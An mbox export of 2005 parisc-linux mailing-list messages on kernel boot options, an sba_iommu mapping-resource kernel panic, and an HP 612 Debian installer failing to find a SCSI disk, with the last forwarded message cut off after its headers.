Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF62B7D615
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Feb 2005 09:58:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29592-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Feb 2005 09:58:46 -0700 (MST)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 516B27D611
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Feb 2005 09:58:46 -0700 (MST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1D3Gsm-0008Hf-S2; Mon, 21 Feb 2005 16:58:04 +0000
Content-Disposition: inline
In-Reply-To: <200502190417.59359.mszick@wolfbutter.com>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: V39xKotWTlIv47eQeGhrSVVGU2poZdn8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22370

On Sat, Feb 19, 2005 at 04:17:59AM -0600, Michael S. Zick wrote:
> I would suggest sticking with: 'noudev nodevfs pci=routeirq'
> command line options until more is known.
> (They should make system work like pre-2.6.9)

pci=routeirq only has effect on i386 and ia64 boxes.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] I/O MMU @ fffffffffed20000 is out of mapping
	resources: re-occured
Date: Tue, 22 Feb 2005 09:30:59 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <420B30A200004C1D@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623676 12779 80.91.229.3 (22 Nov 2014 02:34:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Feb 2005 08:31:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx024) with SMTP; 22 Feb 2005 09:31:20 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3661D7D627;
	Tue, 22 Feb 2005 01:31:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02573-07; Tue, 22 Feb 2005 01:31:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9516E7D629;
	Tue, 22 Feb 2005 01:31:55 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D79337D615
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Feb 2005 01:31:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02245-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Feb 2005 01:31:43 -0700 (MST)
Original-Received: from mrq-2.tiscalinet.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id 493517D611
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Feb 2005 01:31:43 -0700 (MST)
Original-Received: from mail-1-bnl.mail.tiscali.sys ([10.39.115.131]
	helo=mail-1-bnl.tiscali.it)
	by mrq-2.tiscalinet.it with esmtp (Exim 4.43) id 1D3VRc-00040T-Nn
	for parisc-linux@lists.parisc-linux.org; Tue, 22 Feb 2005 09:31:02 +0100
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Tue, 22 Feb 2005 09:30:59 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uIFxKs5PTlIv47eQeGhrSVVGU2poZRnl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22371

Hi all,

Sorry but this pb:
Kernel panic - not syncing: /CAD/linux-2.6.11-rc4-pa2-050221/drivers/pari=
sc/sba_iommu.c:
I/O MMU @ fffffffffed20000 is out of mapping resources

just re-occured while an apt-get update again.
(I wrongly though it disappeared because hiden last week eventhought I re=
-mirrored
the slice containing deb 'depot')

Thanks in advance for attention,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] I/O MMU @ fffffffffed20000 is out of mapping
	resources: re-occured
Date: Wed, 23 Feb 2005 15:00:55 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20050223220055.GD26124@colo.lackof.org>
References: <420B30A200004C1D@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623676 12780 80.91.229.3 (22 Nov 2014 02:34:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Feb 2005 22:00:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx064) with SMTP; 23 Feb 2005 23:00:08 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B4F67D627;
	Wed, 23 Feb 2005 15:00:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14711-05; Wed, 23 Feb 2005 15:00:46 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 66B5C7D629;
	Wed, 23 Feb 2005 15:00:45 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 52BB67D615
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Feb 2005 15:00:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14693-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Feb 2005 15:00:41 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id DB4187D611
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Feb 2005 15:00:41 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 3573B298052;
	Wed, 23 Feb 2005 15:00:56 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27265-06; Wed, 23 Feb 2005 15:00:55 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DD6E829802F; Wed, 23 Feb 2005 15:00:55 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <420B30A200004C1D@mail-1-bnl.tiscali.it>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iZB3KvxYTlIv47eQeGhrSVVGU2poZdmD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22372

On Tue, Feb 22, 2005 at 09:30:59AM +0100, Joel Soete wrote:
> Hi all,
> 
> Sorry but this pb:
> Kernel panic - not syncing: /CAD/linux-2.6.11-rc4-pa2-050221/drivers/parisc/sba_iommu.c:
> I/O MMU @ fffffffffed20000 is out of mapping resources
> 
> just re-occured while an apt-get update again.
> (I wrongly though it disappeared because hiden last week eventhought
> I re-mirrored the slice containing deb 'depot')

This is a non-trivial issue that has been around since pci_dma mapping
interface was introduced. Two things need to happen:
1) parisc implements support for dma_mapping_error()
2) drivers use dma_mapping_error() to verify the mapping
   resource they asked for was available.

Sorry, I've been ignoring the issue since I don't see it on my boxes.
I'm not sure why you are seeing it and I'm not.
Likely you have less RAM installed than I (normally 2-4 GB).

Can you try changing sba_mem_ratio to 4 or 2 in drivers/parisc/sba_iommu.c:
/* Ratio of Host MEM to IOV Space size */
static unsigned long sba_mem_ratio = 8;

I'll even take a patch that makes this a commandline parameter :^)
(ie used by both ccio and sba drivers).

sorry,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@wolfbutter.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP model 612 hard disk not found
Date: Thu, 24 Feb 2005 08:10:19 -0600
Lines: 61
Approved: news@gmane.org
Message-ID: <200502240810.19228.mszick@wolfbutter.com>
References: <1109239065.30724.15.camel@base-06.geo.auth.gr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623676 12782 80.91.229.3 (22 Nov 2014 02:34:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Feb 2005 14:10:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx036) with SMTP; 24 Feb 2005 15:10:54 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA2F97D629;
	Thu, 24 Feb 2005 07:11:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19415-10; Thu, 24 Feb 2005 07:11:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E91E87D62A;
	Thu, 24 Feb 2005 07:11:33 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5AA027D627
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Feb 2005 07:11:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19415-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Feb 2005 07:11:31 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id C28CC7D626
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Feb 2005 07:11:30 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	j1OEAkfX095146; Thu, 24 Feb 2005 06:10:47 -0800 (PST)
	(envelope-from mszick@wolfbutter.com)
Original-Received: from [65.40.206.75] (via account 20976)
	by mx-out.daemonmail.net with ESMTP id AUz39wq5
	authenticated by SMTP; Thu, 24 Feb 2005 06:10:46 -0800 (PST)
User-Agent: KMail/1.7.1
In-Reply-To: <1109239065.30724.15.camel@base-06.geo.auth.gr>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Dox2Kl0NTlIv47eQeGhrSVVGU2poZRm5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22373

On Thu February 24 2005 03:57, Marios K. wrote:
> I have an old HP Model 612 with 64MB Ram, 1 Seagete scsi hard disk.
> I manage to find a scsi cdrom, so i tried to install debian.
> The scsi cable had the capability to install only one disk, so i found
> another one with possibility of connecting the hard disk and the cdrom.
> 
> I connected the hard disk on the "middle" connector of the cable and put
> the scsi id at 2.0
> 
> I connected the the cdrom on the "outer" connector and put the scsi id
> as 4.0
> 
> Booting in BOOT_ADMIN> and writing search
> The boot loader found them both.
> Seagete SCSI.2.0
> Pioneer SCSI.4.0
> 
> Ok then, i write
> boot scsi.4.0
> And the installation begins,
> After linux kernel loader, i see the it has found both cdrom and hard
> disk with the scsi id correct.
> I choose language-keyboard.
> I configure network (although it is not connected to the network for the
> moment), but when it comes to partition the disk it says
> NO HARD DISK FOUND. CONFIGURE NETWORK FOR NFS MOUNT something....
>
Could be that the installer is only looking for the primary hard disk;
which for hp, pa-risc is id 6 (secondary is id 5)...
(-- Could by I have those reversed -- Might be pri=5, sec=6 )

Try setting your scsi id numbers, disk=6, cdrom=5.
( Or the reverse of that )

OR
Configure your network, and net-boot the machine.
You can find directions on the site for doing that.

Note:
With 64M of ram, be sure to allow a generous swap
partition when you partition your disk drive.

Mike
> 
> Why the installer can't see the hard disk, while in boot time it sees
> it?
> The hard disk contains an HPUX OS.
> 
> 
> 
> 
> P.S. I apologize if this issue has already answered, but i couldn't find
> nothing on the net. I would appreciate if you cc me.
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Marios K." <marios_hellas_23@yahoo.gr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP model 612 hard disk not found
Date: Thu, 24 Feb 2005 11:57:45 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <1109239065.30724.15.camel@base-06.geo.auth.gr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623677 12787 80.91.229.3 (22 Nov 2014 02:34:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:37 +0000 (UTC)
To: parisc_ <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Feb 2005 09:56:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 24 Feb 2005 10:56:36 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D2C4B7D627;
	Thu, 24 Feb 2005 02:57:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17096-06; Thu, 24 Feb 2005 02:57:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 45AAA7D629;
	Thu, 24 Feb 2005 02:57:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A6EC7D615
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Feb 2005 02:57:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17112-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Feb 2005 02:57:11 -0700 (MST)
Original-Received: from smtp107.mail.sc5.yahoo.com (smtp107.mail.sc5.yahoo.com
	[66.163.169.227])
	by free.linux.hp.com (Postfix) with SMTP id D43B17D611
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Feb 2005 02:57:10 -0700 (MST)
Original-Received: from unknown (HELO base-06.geo.auth.gr)
	(marios?hellas?23@155.207.61.36 with plain)
	by smtp107.mail.sc5.yahoo.com with SMTP; 24 Feb 2005 09:56:27 -0000
X-Mailer: Evolution 2.0.1 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tMh2Kl89TlIv47eQeGhrSVVGU2poZVmb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22374

I have an old HP Model 612 with 64MB Ram, 1 Seagete scsi hard disk.
I manage to find a scsi cdrom, so i tried to install debian.
The scsi cable had the capability to install only one disk, so i found
another one with possibility of connecting the hard disk and the cdrom.

I connected the hard disk on the "middle" connector of the cable and put
the scsi id at 2.0

I connected the the cdrom on the "outer" connector and put the scsi id
as 4.0

Booting in BOOT_ADMIN> and writing search
The boot loader found them both.
Seagete SCSI.2.0
Pioneer SCSI.4.0

Ok then, i write
boot scsi.4.0
And the installation begins,
After linux kernel loader, i see the it has found both cdrom and hard
disk with the scsi id correct.
I choose language-keyboard.
I configure network (although it is not connected to the network for the
moment), but when it comes to partition the disk it says
NO HARD DISK FOUND. CONFIGURE NETWORK FOR NFS MOUNT something....

Why the installer can't see the hard disk, while in boot time it sees
it?
The hard disk contains an HPUX OS.




P.S. I apologize if this issue has already answered, but i couldn't find
nothing on the net. I would appreciate if you cc me.


-- 
Marios K. <marios_hellas_23@yahoo.gr>


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Harry Cochran" <h.cochran@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: FW: Can't mount F0 partition as /BOOT
Date: Thu, 24 Feb 2005 23:02:27 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <FHEGKPBPFFGIFBGOANOKMENPEPAA.h.cochran__3380.21649881757$1416623677$gmane$org@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623677 12797 80.91.229.3 (22 Nov 2014 02:34:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:37 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>,
 <debian-hppa@lists.debian.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Feb 2005 04:08:47 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx035) with SMTP; 25 Feb 2005 05:08:47 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id B415B2DEBB; Thu, 24 Feb 2005 22:08:44 -0600 (CST)
Old-Return-Path: <h.cochran@comcast.net>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from rwcrmhc11.comcast.net (rwcrmhc11.comcast.net [204.127.198.35])
	by murphy.debian.org (Postfix) with ESMTP id DD8472DE43
	for <debian-hppa@lists.debian.org>; Thu, 24 Feb 2005 22:08:38 -0600 (CST)
Original-Received: from bridgeman (h0002169c2280.ne.client2.attbi.com[24.218.38.88])
          by comcast.net (rwcrmhc11) with SMTP
          id <2005022504083701300qi374e>; Fri, 25 Feb 2005 04:08:37 +0000
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-02-20_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_21_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-4.7 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=2.63-lists.debian.org_2005_02_21_01
Resent-Message-ID: <v4KR5D.A.kAH.MTqHCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4212
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
